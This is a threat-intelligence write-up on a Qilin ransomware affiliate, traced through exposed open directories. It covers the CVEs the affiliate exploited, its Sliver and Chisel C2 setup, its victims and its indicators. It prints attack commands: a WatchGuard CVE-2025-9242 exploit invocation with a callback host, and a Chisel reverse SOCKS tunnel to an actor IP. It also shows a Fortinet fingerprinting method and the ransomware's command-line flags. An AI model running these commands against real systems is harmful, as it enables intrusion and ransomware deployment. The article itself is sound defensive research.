Overview

Qilin is a long-standing and prolific Ransomware-as-a-Service (RaaS) group, active since late 2022, causing real-world impact across numerous sectors globally. Ransomware.live reports that Qilin has had the most victims of any ransomware group in 2025 and 2026 to date (through March). In total, according to Ransomware.live, Qilin has compromised over 1,700 organisations.

Ransomware.live - Qilin

When affiliate-backed cybercriminal groups operate at such scale, mistakes are inevitable. On December 15, 2025, Ctrl-Alt-Intel identified a Qilin affiliate Operational Security (OPSEC) failure that led us down a deep rabbit hole. By the end of this investigation, we understood:

• Two countries this affiliate appeared to be targeting
• At least 7 CVEs they had leveraged
• Tooling they used during operations
• Over 8 US companies they compromised, with 3 publicly disclosed as ransomed
• C2 infrastructure they operated from

Like many ransomware groups, the affiliate we expose today primarily gained access to victim organisations via the compromise of corporate VPN devices, specifically WatchGuard and Fortinet, deploying Sliver for C2 on these appliances and eventually leading to the deployment of Qilin binaries targeting Linux, ESXi, and Nutanix devices.

Notably, we also observed the threat actor deploy POCs for several other known vulnerabilities, which we will discuss later.

Main Correlation Diagram

You may have noticed that we are publishing this blog many months after our initial discovery in December 2025. Upon identifying the actor, we shared these findings with law enforcement and other relevant CTI authorities, as the mistakes they were making appeared to be persistent.

Waiting to publish proved valuable: the threat actor made the same mistakes from August 2025 to March 2026, giving us rare visibility into ransomware operations across 5 different C2 servers they exposed.

During December 2025, and into January 2026, this Qilin affiliate operated from the IP address 194.59.30[.]9 (AS 399486). They created open-directories to share or stage payloads, but inadvertently exposed sensitive data relating to their ransomware operations.

Using Censys’ Service History capability, we can “look back in time” and observe the files we discovered on the open-directory.

Censys Service History - 194.59.30[.]9

From this first OPSEC failure, we identified Qilin binaries (qusar, tron, sssd), Sliver C2 configurations, logs and binaries, POC exploits for WatchGuard VPNs, VPN configurations, and firmware extracts. We also observed a Python-based reverse shell, events.py, designed to run from WatchGuard appliances and configured to callback to 79.110.49[.]146.

The IP address 79.110.49[.]146 is important. We identified it as the reverse shell callback IP in December, but we will see it again multiple months later.

The Sliver C2 configurations client_31.57.147.229.cfg and vcenter_31.57.38.155.cfg expose the IP addresses of the Sliver servers used by this affiliate. They also could allow relevant authorities to authenticate directly to this Qilin affiliate’s Sliver C2 servers for further intelligence collection opportunities.

This first open-directory indicated the affiliate used the VPS 194.59.30[.]9 to access their Sliver C2 servers on 31.57.147[.]229 and 31.57.38[.]155.

Additionally, on January 5, and on the days that followed, this same IP exposed the same open-directory. We can see additional files, including CVE-2025-59718.py, a FortiOS POC, within this updated exposure.

Following the crumbs

Fortunately, the December blunder was not the first, nor the last, mistake they made. Ctrl-Alt-Intel assesses that this affiliate had been using a similar playbook for initial access since at least August 2025.

Using the Hunt.io platform, we pivoted on file names and hashes from the captured open-directories. We observed the same Sliver configuration, used to connect to the server on 31.57.147[.]229, on an open-directory archived on January 12:

Pivoting using Hunt.io

So far, we have identified a direct correlation between the Qilin affiliate IP address 194.59.30[.]9 and a secondary IP, 185.196.11[.]235 (AS 42624). We saw overlapping files within both open-directories. This new open-directory contained another Qilin binary, kruss.

Important note: across these two open-directories, Ctrl-Alt-Intel found 4 Qilin binaries: sssd, qusar, tron, and kruss. Ctrl-Alt-Intel assesses that these are named after victim organisations. We will return to these binaries in the later Qilin binary / Victimology section.

Correlation Diagram #1

This new open-directory (185.196.11[.]235, archived on Hunt.io) contained additional significant data and logs exposing commands run, tools used, and Qilin binaries. It also contained the file serverPOST.py, which was a Flask-based exfiltration handler.

serverPOST.py allowed the threat actor to receive exfiltrated VPN/firewall configurations and exports. It also allowed Ctrl-Alt-Intel to pivot further using Hunt.io to uncover additional Qilin affiliate infrastructure.

Second pivot using Hunt.io

As mentioned earlier, we observed 79.110.49[.]146 used as the callback IP for Python reverse shells deployed to WatchGuard appliances. We had been tracking this IP. Over 3 months later, on March 5, the Qilin affiliate created an open-directory on this IP, exposing its contents:

Censys Service History - 79.110.49[.]146

We can identify two new Sliver configurations, 23.27.140[.]108 and 23.27.143[.]170, from the above open-directory. The first IP was also observed in the January 12 open-directory.

From our investigation, and further pivots, we now have 5 open-directories attributed to this Qilin affiliate actor:

Each of these, from August 2025 to January 2026, fits the profile for this Qilin intrusion set. They each contain major overlaps in naming schemes, tooling used, files exfiltrated, and, in some cases, Qilin malware itself.

Correlation Diagram #2

Reconnaissance

The Qilin affiliated actor leveraged a custom FortiGate/FortiManager recon script TargetInfoPrinter.py to perform fingerprinting and reconnaissance.

1. It first checks whether TCP/541 is open, which helps confirm that Fortinet management services (FGFM) are exposed.
2. It then requests /remote/login?lang=en and extracts the login.js?q= value, giving the actor a quick web UI fingerprint.
3. The most interesting technique is that it downloads /fonts/ftnt-icons.woff and parses the font metadata to recover the internal head checksum. This gives the actor another way to differentiate Fortinet builds/versions.

It could allow the threat actor to answer the questions:

• Is this a Fortinet device?
• Is Fortinet management reachable?
• Which build or variant does it appear to be?

Evidence strongly suggests that this affiliate relied on known vulnerabilities for initial access:

• CVE-2025-9242 - WatchGuard RCE
• CVE-2025-14733 - WatchGuard RCE
• CVE-2025-40554 - SolarWinds HelpDesk Auth Bypass
• CVE-2025-59718 - FortiOS Auth Bypass
• CVE-2025-60021 - Apache bRPC RCE
• CVE-2026-24061 - Telnet RCE
• CVE-2026-24423 - SmarterTools SmarterMail RCE

The file 9242_exploit.py was the watchTowr WatchGuard CVE-2025-9242 POC. From the evidence available to Ctrl-Alt-Intel, there was significant attempted exploitation of WatchGuard Firebox appliances. The threat actor attempted to exploit over 900 unique US or German IP addresses, with intent of deploying Sliver C2 to these appliances.

python3 9242_exploit.py --rhost <target> --rport 500 --lhost <callback IP> --lport 2007 --exploit

In practical terms, the actor was targeting the WatchGuard IKE service on port 500 and forcing compromised appliances to connect back to actor-controlled infrastructure on port 2007, giving them a shell to work from - where they downloaded and executed their Sliver binary.

Analysis of the Sliver C2 client history logs revealed a clear pattern that was repeated over 30 times. Each of these are likely a compromised WatchGuard appliance.

1. Interact with the compromised WatchGuard appliance through a Sliver session.
2. Run ps, getpid and ifconfig, and in many cases terminate <pid>.
3. Traverse into /etc/wg, either directly or via cd .., then cd etc, then cd wg.
4. In /etc/wg, they downloaded WatchGuard configuration config.xml
5. Traverse to /bin
6. Upload fos (renamed Chisel binary), make it executable chmod fos 777
7. Launch execute -o /bin/fos client 185.196.11.235:<port> R:socks.

Command & Control Infrastructure

Recovered artefacts show that this affiliate operated a multi-layered C2 stack targeting edge devices, built primarily around Sliver, with Chisel and lightweight Python reverse shells used as supporting access mechanisms.

Alongside Sliver, the affiliate staged Chisel binaries, including a renamed copy, fos, which was used to establish reverse SOCKS tunnels from compromised edge devices back to actor-controlled infrastructure. This gave the threat actor a reliable pivoting mechanism into internal victim networks, rather than relying only on the initial appliance foothold.

Across the C2 infrastructure observed, Ctrl-Alt-Intel observed significant overlap in ASNs, exposed files, and C2 configurations:

Interactive: Qilin Affiliate ASN Infrastructure Overlap

Qilin Linux Binaries

Across the 5 open-directories, Ctrl-Alt-Intel recovered 3 Qilin binaries tron, qusar, sssd from 194.59.30[.]9 & kruss from 185.196.11[.]23. Ctrl-Alt-Intel assess with high-confidence these were named after the relevant organisations they targeted.

These Qilin binaries were capable of encrypting Linux hosts, VMware ESXi environments, and Nutanix AHV infrastructure.

These binaries were found on open-directories within the weeks prior to organisations with similar names being found on the Qilin blog (ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd[.]onion). For example, organisations “Z-TRONIX” & “Quasar” were published on December 31st together:

Qilin blog

Ctrl-Alt-Intel could not identify the organisation affiliated with the sssd ransomware binary, although the remaining could be linked to organisations found on the Qilin blog site:

Correlation Diagram #3

The Qilin binary functionality were not obfuscated, nor are it’s strings. In a follow up blog, we will dig deeper into how this ransomware targets ESXi / Nutanix AH fleets, although running a simple strings reveals the command-line flags, ransomware note, and other victim unique IDs:

Usage:
        %s OPTION ...
OPTIONS:
-d,--debug               Enable debug mode (logging level set to DEBUG, disables backgrounding)
   --dry-run             Perform scan for files to be processed, do not modify them
-h,--help                This help
-l,--log-level <number>  Set logging level. Values are from 0 for FATAL up to 5 for DEBUG
   --no-df               Ignore configured white-/black- lists of directories
   --no-ef               Ignore configured white-/black- lists of extensions
   --no-ff               Ignore configured white-/black- lists of files
   --no-proc-kill        Disables process kill
-R,--no-rename           Disables rename of completed files
   --no-snap-rm          Disables snapshot deletion
   --no-vm-kill          Disables VM kill
-p,--path <string>       Specifies directory for search (multiple entries allowed, specify this option for each entry)
   --password <string>   Password for startup
-r,--rename              Enables rename of completed files (default)
-t,--timer <number>      Enabled timed delay before encryption (seconds)
-w,--whitelist           Use whitelists for inclusion instead of blacklists for exclusion (later is default behavior)
-y,--yes                 Assume answer 'yes' on all questions (script mode)

Qilin binary strings

Each sample is the same size, 1,395,184 bytes, and they also share the same entrypoint, section layout, and large volumes of identical strings, strongly indicating a common source build. The meaningful differences between them are not in core functionality, but in the embedded victim portal configuration, including:

• Encrypted file extension
• Victim-specific .onion Qilin negotitation login portal
• Embedded login token
• Likely public-key / build configuration material

See below for the per-victim onion links:

Per victim login page

Another affiliate?

Eyal Sela from Gambit Security shared with us an additional open-directory, found on the Hunt.io platform on February 5th 2026, from the Vultr IP address 45.32.216[.]250.

Hunt.io screenshot

This contained an additional 4 unique Linux Qilin binaries, all of the same variant previously observed.

This open-directory also contained additional payloads. We will discuss those in a follow-up blog.

Using the Hunt.io platform, we can see this IP has previously been tagged as hosting Cobalt Strike, and it is also mentioned in a Rapid7 blog covering CVE-2025-59718 Fortinet SSO authentication bypass exploitation. Rapid7 provided logs indicating this IP address was observed editing VPN and firewall configurations:

logid="0100044546" type="event" subtype="system" level="information"
vd="root" logdesc="Attribute configured" user="admins"
ui="GUI(45.32.216[.]250)" action="Edit" cfgpath="vpn.ssl.settings"
msg="Edit vpn.ssl.settings"

logid="0100044547" type="event" subtype="system" level="information"
vd="root" logdesc="Object attribute configured" user="admins"
ui="GUI(45.32.216[.]250)" action="Add" cfgpath="firewall.policy"
cfgobj="XX" msg="Add firewall.policy <redacted>"
Ctrl-Alt-Intel found no evidence to suggest this activity was carried out by the same affiliate, although we also cannot rule it out.

Victimology / Targeting

The exploitation of known CVEs, primarily those affecting WatchGuard devices, suggests that this affiliate’s targeting was primarily opportunistic, driven by exposure of vulnerable perimeter infrastructure rather than by a narrow sector focus.

Across the recovered exploitation history, Ctrl-Alt-Intel observed 1,929 WatchGuard exploit invocations against 918 unique target IP addresses. Enrichment of those targets shows a strong concentration in Germany and the United States:

• Germany: 656 targets (71.5%)
• United States: 258 targets (28.1%)
• Other countries: 4 targets total across the United Kingdom, the Netherlands, France, and Italy

This distribution strongly suggests that the affiliate was working from a broad list of exposed WatchGuard appliances, with a clear bias toward German and US organisations, rather than conducting tightly scoped sector-specific targeting. The victims identified via Qilin binaries reinforce the clear German and US targeting:

• KRÜSS Scientific: a German scientific instrumentation / surface science technology manufacturer
• Z-Tronix: a US electronics and wire harness manufacturer
• Quasar Data: a US data centre / managed IT / colocation provider

Across all 5 open-directories, we identified 8 US companies via 3 WatchGuard and 5 Fortinet firewall/VPN configurations or logs. One of these, Quasar Data Center, had its WatchGuard configuration (config.xml) on a different host than the corresponding Qilin binary.

We have only named the organisations that are publicly listed as victims on Qilin’s blog.

Across both confirmed victims and organisations with exfiltrated configurations, although not publicly listed as Qilin victims, we observed the following sector alignment:

Conclusion

Access to multiple open-directory and C2 artefacts tied to this Qilin affiliate provided rare insight into the playbook they followed to achieve initial access against victims in the US and Germany.

The deployment of Sliver C2 and SOCKS proxies to the underlying operating systems of network appliances, which do not typically have a standard AV/EDR stack, has been observed by Ctrl-Alt-Intel previously on FortiWeb WAF intrusions. Firewalls, VPNs, and other edge network appliances typically do not provide sufficient telemetry to detect or stop these attacks. This is an industry-wide visibility gap.

Qilin remains a prominent ransomware adversary, with a staggering number of victims worldwide, continuing to cause significant damage. This research highlights, through repeated OPSEC failures, how straightforward it can be for Qilin affiliates to compromise network appliances at mass, gaining access to victims’ internal networks, ultimately to deploy ransomware.

IOCs

We have shared a sample of the Qilin binaries, tooling and scripts leveraged on our Github.

Command & Control

Leak site / Qilin login portal

Payloads, Scripts & Configurations

Hashes of binaries, configurations & server-side scripts have been included for pivoting purposes, rather than being used in detection content

MITRE ATT&CK

Acknowledgements

Thanks to the Hunt.io platform for providing visibility into multiple Qilin open-directories.

We’d also like to thank Will Thomas from Team Cymru and Eyal Sela from Gambit Security for intelligence sharing contributions.